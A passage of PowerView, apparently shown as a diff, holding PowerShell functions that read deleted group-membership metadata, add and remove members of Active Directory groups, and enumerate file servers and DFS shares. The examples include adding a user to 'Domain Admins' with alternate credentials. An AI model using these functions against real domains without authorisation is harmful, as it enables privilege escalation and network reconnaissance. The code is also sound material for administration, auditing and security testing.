2017-06-13T22:20:02Z +TimeDeleted : 2017-06-13T23:26:17Z +LastOriginatingChange : 2017-06-13T23:26:17Z +TimesAdded : 5 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +.OUTPUTS + +PowerView.DomainGroupMemberDeleted + +Custom PSObject with translated replication metadata fields. + +.LINK + +https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.DomainGroupMemberDeleted')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'msds-replvaluemetadata','distinguishedname' + 'Raw' = $True + 'LDAPFilter' = '(objectCategory=group)' + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + Get-DomainObject @SearcherArguments | ForEach-Object { + $ObjectDN = $_.Properties['distinguishedname'][0] + ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) { + $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue + if ($TempObject) { + if (($TempObject.pszAttributeName -Match 'member') -and (($TempObject.dwVersion % 2) -eq 0 )) { + $Output = New-Object PSObject + $Output | Add-Member NoteProperty 'GroupDN' $ObjectDN + $Output | Add-Member NoteProperty 'MemberDN' $TempObject.pszObjectDn + $Output | Add-Member NoteProperty 'TimeFirstAdded' $TempObject.ftimeCreated + $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted + $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange + $Output | Add-Member NoteProperty 'TimesAdded' ($TempObject.dwVersion / 2) + $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN + $Output.PSObject.TypeNames.Insert(0, 'PowerView.DomainGroupMemberDeleted') + $Output + } + } + else { + Write-Verbose "[Get-DomainGroupMemberDeleted] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'" + } + } + } + } +} + + +function Add-DomainGroupMember { +<# +.SYNOPSIS + +Adds a domain user (or group) to an existing domain group, assuming +appropriate permissions to do so. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to search for the specified -GroupIdentity, +which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For +each entry in -Members, each member identity is similarly searched for and added +to the group. + +.PARAMETER Identity + +A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to add members to. + +.PARAMETER Members + +One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName +(e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), +or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202). + +.PARAMETER Domain + +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' + +Adds harmj0y to 'Domain Admins' in the current domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred + +Adds harmj0y to 'Domain Admins' in the current domain using the alternate credentials. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred + +Creates the 'andy' user with the specified description and password, using the specified +alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember +and the alternate credentials. + +.LINK + +http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True)] + [Alias('GroupName', 'GroupIdentity')] + [String] + $Identity, + + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('MemberIdentity', 'Member', 'DistinguishedName')] + [String[]] + $Members, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $ContextArguments = @{ + 'Identity' = $Identity + } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + + $GroupContext = Get-PrincipalContext @ContextArguments + + if ($GroupContext) { + try { + $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity) + } + catch { + Write-Warning "[Add-DomainGroupMember] Error finding the group identity '$Identity' : $_" + } + } + } + + PROCESS { + if ($Group) { + ForEach ($Member in $Members) { + if ($Member -match '.+\\.+') { + $ContextArguments['Identity'] = $Member + $UserContext = Get-PrincipalContext @ContextArguments + if ($UserContext) { + $UserIdentity = $UserContext.Identity + } + } + else { + $UserContext = $GroupContext + $UserIdentity = $Member + } + Write-Verbose "[Add-DomainGroupMember] Adding member '$Member' to group '$Identity'" + $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity) + $Group.Members.Add($Member) + $Group.Save() + } + } + } +} + + +function Remove-DomainGroupMember { +<# +.SYNOPSIS + +Removes a domain user (or group) from an existing domain group, assuming +appropriate permissions to do so. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-PrincipalContext + +.DESCRIPTION + +First binds to the specified domain context using Get-PrincipalContext. +The bound domain context is then used to search for the specified -GroupIdentity, +which returns a DirectoryServices.AccountManagement.GroupPrincipal object. For +each entry in -Members, each member identity is similarly searched for and removed +from the group. + +.PARAMETER Identity + +A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202) +specifying the group to remove members from. + +.PARAMETER Members + +One or more member identities, i.e. SamAccountName (e.g. Group1), DistinguishedName +(e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), +or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202). + +.PARAMETER Domain + +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' + +Removes harmj0y from 'Domain Admins' in the current domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Remove-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred + +Removes harmj0y from 'Domain Admins' in the current domain using the alternate credentials. + +.LINK + +http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True)] + [Alias('GroupName', 'GroupIdentity')] + [String] + $Identity, + + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('MemberIdentity', 'Member', 'DistinguishedName')] + [String[]] + $Members, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $ContextArguments = @{ + 'Identity' = $Identity + } + if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain } + if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential } + + $GroupContext = Get-PrincipalContext @ContextArguments + + if ($GroupContext) { + try { + $Group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($GroupContext.Context, $GroupContext.Identity) + } + catch { + Write-Warning "[Remove-DomainGroupMember] Error finding the group identity '$Identity' : $_" + } + } + } + + PROCESS { + if ($Group) { + ForEach ($Member in $Members) { + if ($Member -match '.+\\.+') { + $ContextArguments['Identity'] = $Member + $UserContext = Get-PrincipalContext @ContextArguments + if ($UserContext) { + $UserIdentity = $UserContext.Identity + } + } + else { + $UserContext = $GroupContext + $UserIdentity = $Member + } + Write-Verbose "[Remove-DomainGroupMember] Removing member '$Member' from group '$Identity'" + $Member = [System.DirectoryServices.AccountManagement.Principal]::FindByIdentity($UserContext.Context, $UserIdentity) + $Group.Members.Remove($Member) + $Group.Save() + } + } + } +} + + +function Get-DomainFileServer { +<# +.SYNOPSIS + +Returns a list of servers likely functioning as file servers. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher + +.DESCRIPTION + +Returns a list of likely fileservers by searching for all users in Active Directory +with non-null homedirectory, scriptpath, or profilepath fields, and extracting/uniquifying +the server names. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainFileServer + +Returns active file servers for the current domain. + +.EXAMPLE + +Get-DomainFileServer -Domain testing.local + +Returns active file servers for the 'testing.local' domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainFileServer -Credential $Cred + +.OUTPUTS + +String + +One or more strings representing file server names. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [Alias('DomainName', 'Name')] + [String[]] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + function Split-Path { + # short internal helper to split UNC server paths + Param([String]$Path) + + if ($Path -and ($Path.split('\\').Count -ge 3)) { + $Temp = $Path.split('\\')[2] + if ($Temp -and ($Temp -ne '')) { + $Temp + } + } + } + + $SearcherArguments = @{ + 'LDAPFilter' = '(&(samAccountType=805306368)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(|(homedirectory=*)(scriptpath=*)(profilepath=*)))' + 'Properties' = 'homedirectory,scriptpath,profilepath' + } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Domain']) { + ForEach ($TargetDomain in $Domain) { + $SearcherArguments['Domain'] = $TargetDomain + $UserSearcher = Get-DomainSearcher @SearcherArguments + # get all results w/o the pipeline and uniquify them (I know it's not pretty) + $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique + } + } + else { + $UserSearcher = Get-DomainSearcher @SearcherArguments + $(ForEach($UserResult in $UserSearcher.FindAll()) {if ($UserResult.Properties['homedirectory']) {Split-Path($UserResult.Properties['homedirectory'])}if ($UserResult.Properties['scriptpath']) {Split-Path($UserResult.Properties['scriptpath'])}if ($UserResult.Properties['profilepath']) {Split-Path($UserResult.Properties['profilepath'])}}) | Sort-Object -Unique + } + } +} + + +function Get-DomainDFSShare { +<# +.SYNOPSIS + +Returns a list of all fault-tolerant distributed file systems +for the current (or specified) domains. + +Author: Ben Campbell (@meatballs__) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher + +.DESCRIPTION + +This function searches for all distributed file systems (either version +1, 2, or both depending on -Version X) by searching for domain objects +matching (objectClass=fTDfs) or (objectClass=msDFS-Linkv2), respectively +The server data is parsed appropriately and returned. + +.PARAMETER Domain + +Specifies the domains to use for the query, defaults to the current domain. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainDFSShare + +Returns all distributed file system shares for the current domain. + +.EXAMPLE + +Get-DomainDFSShare -Domain testlab.local + +Returns all distributed file system shares for the 'testlab.local' domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainDFSShare -Credential $Cred + +.OUTPUTS + +System.Management.Automation.PSCustomObject + +A custom PSObject describing the distributed file systems. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')] + [OutputType('System.Management.Automation.PSCustomObject')] + [CmdletBinding()] + Param( + [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [Alias('DomainName', 'Name')] + [String[]] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateSet('All', 'V1', '1', 'V2', '2')] + [String] + $Version = 'All' + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + function Parse-Pkt { + [CmdletBinding()] + Param( + [Byte[]] + $Pkt + ) + + $bin = $Pkt + $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) + $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) + $offset = 8 + #https://msdn.microsoft.com/en-us/library/cc227147.aspx + $object_list = @() + for($i=1; $i -le $blob_element_count; $i++){ + $blob_name_size_start = $offset + $blob_name_size_end = $offset + 1 + $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) + + $blob_name_start = $blob_name_size_end + 1 + $blob_name_end = $blob_name_start + $blob_name_size - 1 + $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) + + $blob_data_size_start = $blob_name_end + 1 + $blob_data_size_end = $blob_data_size_start + 3 + $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) + + $blob_data_start = $blob_data_size_end + 1 + $blob_data_end = $blob_data_start + $blob_data_size - 1 + $blob_data = $bin[$blob_data_start..$blob_data_end] + switch -wildcard ($blob_name) { + "\siteroot" { } + "\domainroot*" { + # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first... + # DFSRootOrLinkIDBlob + $root_or_link_guid_start = 0 + $root_or_link_guid_end = 15 + $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] + $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str + $prefix_size_start = $root_or_link_guid_end + 1 + $prefix_size_end = $prefix_size_start + 1 + $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) + $prefix_start = $prefix_size_end + 1 + $prefix_end = $prefix_start + $prefix_size - 1 + $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) + + $short_prefix_size_start = $prefix_end + 1 + $short_prefix_size_end = $short_prefix_size_start + 1 + $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) + $short_prefix_start = $short_prefix_size_end + 1 + $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 + $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) + + $type_start = $short_prefix_end + 1 + $type_end = $type_start + 3 + $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) + + $state_start = $type_end + 1 + $state_end = $state_start + 3 + $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) + + $comment_size_start = $state_end + 1 + $comment_size_end = $comment_size_start + 1 + $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) + $comment_start = $comment_size_end + 1 + $comment_end = $comment_start + $comment_size - 1 + if ($comment_size -gt 0) { + $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) + } + $prefix_timestamp_start = $comment_end + 1 + $prefix_timestamp_end = $prefix_timestamp_start + 7 + # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME + $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime + $state_timestamp_start = $prefix_timestamp_end + 1 + $state_timestamp_end = $state_timestamp_start + 7 + $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] + $comment_timestamp_start = $state_timestamp_end + 1 + $comment_timestamp_end = $comment_timestamp_start + 7 + $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] + $version_start = $comment_timestamp_end + 1 + $version_end = $version_start + 3 + $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) + + # Parse rest of DFSNamespaceRootOrLinkBlob here + $dfs_targetlist_blob_size_start = $version_end + 1 + $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 + $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) + + $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 + $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 + $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] + $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 + $reserved_blob_size_end = $reserved_blob_size_start + 3 + $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) + + $reserved_blob_start = $reserved_blob_size_end + 1 + $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 + $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] + $referral_ttl_start = $reserved_blob_end + 1 + $referral_ttl_end = $referral_ttl_start + 3 + $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) + + #Parse DFSTargetListBlob + $target_count_start = 0 + $target_count_end = $target_count_start + 3 + $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) + $t_offset = $target_count_end + 1 + + for($j=1; $j -le $target_count; $j++){ + $target_entry_size_start = $t_offset + $target_entry_size_end = $target_entry_size_start + 3 + $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) + $target_time_stamp_start = $target_entry_size_end + 1 + $target_time_stamp_end = $target_time_stamp_start + 7 + # FILETIME again or special if priority rank and priority class 0 + $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] + $target_state_start = $target_time_stamp_end + 1 + $target_state_end = $target_state_start + 3 + $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) + + $target_type_start = $target_state_end + 1 + $target_type_end = $target_type_start + 3 + $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) + + $server_name_size_start = $target_type_end + 1 + $server_name_size_end = $server_name_size_start + 1 + $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) + + $server_name_start = $server_name_size_end + 1 + $server_name_end = $server_name_start + $server_name_size - 1 + $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) + + $share_name_size_start = $server_name_end + 1 + $share_name_size_end = $share_name_size_start + 1 + $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) + $share_name_start = $share_name_size_end + 1 + $share_name_end = $share_name_start + $share_name_size - 1 + $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) + + $target_list += "\\$server_name\$share_name" + $t_offset = $share_name_end + 1 + } + } + } + $offset = $blob_data_end + 1 + $dfs_pkt_properties = @{ + 'Name' = $blob_name + 'Prefix' = $prefix + 'TargetList' = $target_list + } + $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties + $prefix = $Null + $blob_name = $Null + $target_list = $Null + } + + $servers = @() + $object_list | ForEach-Object { + if ($_.TargetList) { + $_.TargetList | ForEach-Object { + $servers += $_.split('\')[2] + } + } + } + + $servers + } + + function Get-DomainDFSShareV1 { + [CmdletBinding()] + Param( + [String] + $Domain, + + [String] + $SearchBase, + + [String] + $Server, + + [String] + $SearchScope = 'Subtree', + + [Int] + $ResultPageSize = 200, + + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $DFSsearcher = Get-DomainSearcher @PSBoundParameters + + if ($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = '(&(objectClass=fTDfs))' + + try { + $Results = $DFSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $RemoteNames = $Properties.remoteservername + $Pkt = $Properties.pkt + + $DFSshares += $RemoteNames | ForEach-Object { + try { + if ( $_.Contains('\') ) { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_.split('\')[2]} + } + } + catch { + Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error in parsing DFS share : $_" + } + } + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainDFSShare] Get-DomainDFSShareV1 error disposing of the Results object: $_" + } + } + $DFSSearcher.dispose() + + if ($pkt -and $pkt[0]) { + Parse-Pkt $pkt[0] | ForEach-Object { + # If a folder doesn't have a redirection it will have a target like + # \\null\TestNameSpace\folder\.DFSFolderLink so we do actually want to match + # on 'null' rather than $Null + if ($_ -ne 'null') { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} + } + } + } + } + catch { + Write-Warning "[Get-DomainDFSShare] Get-DomainDFSShareV1 error : $_" + } + $DFSshares | Sort-Object -Unique -Property 'RemoteServerName' + } + } + + function Get-DomainDFSShareV2 { + [CmdletBinding()] + Param( + [String] + $Domain, + + [String] + $SearchBase, + + [String] + $Server, + + [String] + $SearchScope = 'Subtree', + + [Int] + $ResultPageSize = 200, + + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + $DFSsearcher = Get-DomainSearcher @PSBoundParameters + + if ($DFSsearcher) { + $DFSshares = @() + $DFSsearcher.filter = '(&(objectClass=msDFS-Linkv2))' + $Null = $DFSSearcher.PropertiesToLoad.AddRange(('msdfs-linkpathv2','msDFS-TargetListv2')) + + try { + $Results = $DFSSearcher.FindAll() + $Results | Where-Object {$_} | ForEach-Object { + $Properties = $_.Properties + $target_list = $Properties.'msdfs-targetlistv2'[0] + $xml = [xml][System.Text.Encoding]::Unicode.GetString($target_list[2..($target_list.Length-1)]) + $DFSshares += $xml.targets.ChildNodes | ForEach-Object { + try { + $Target = $_.InnerText + if ( $Target.Contains('\') ) { + 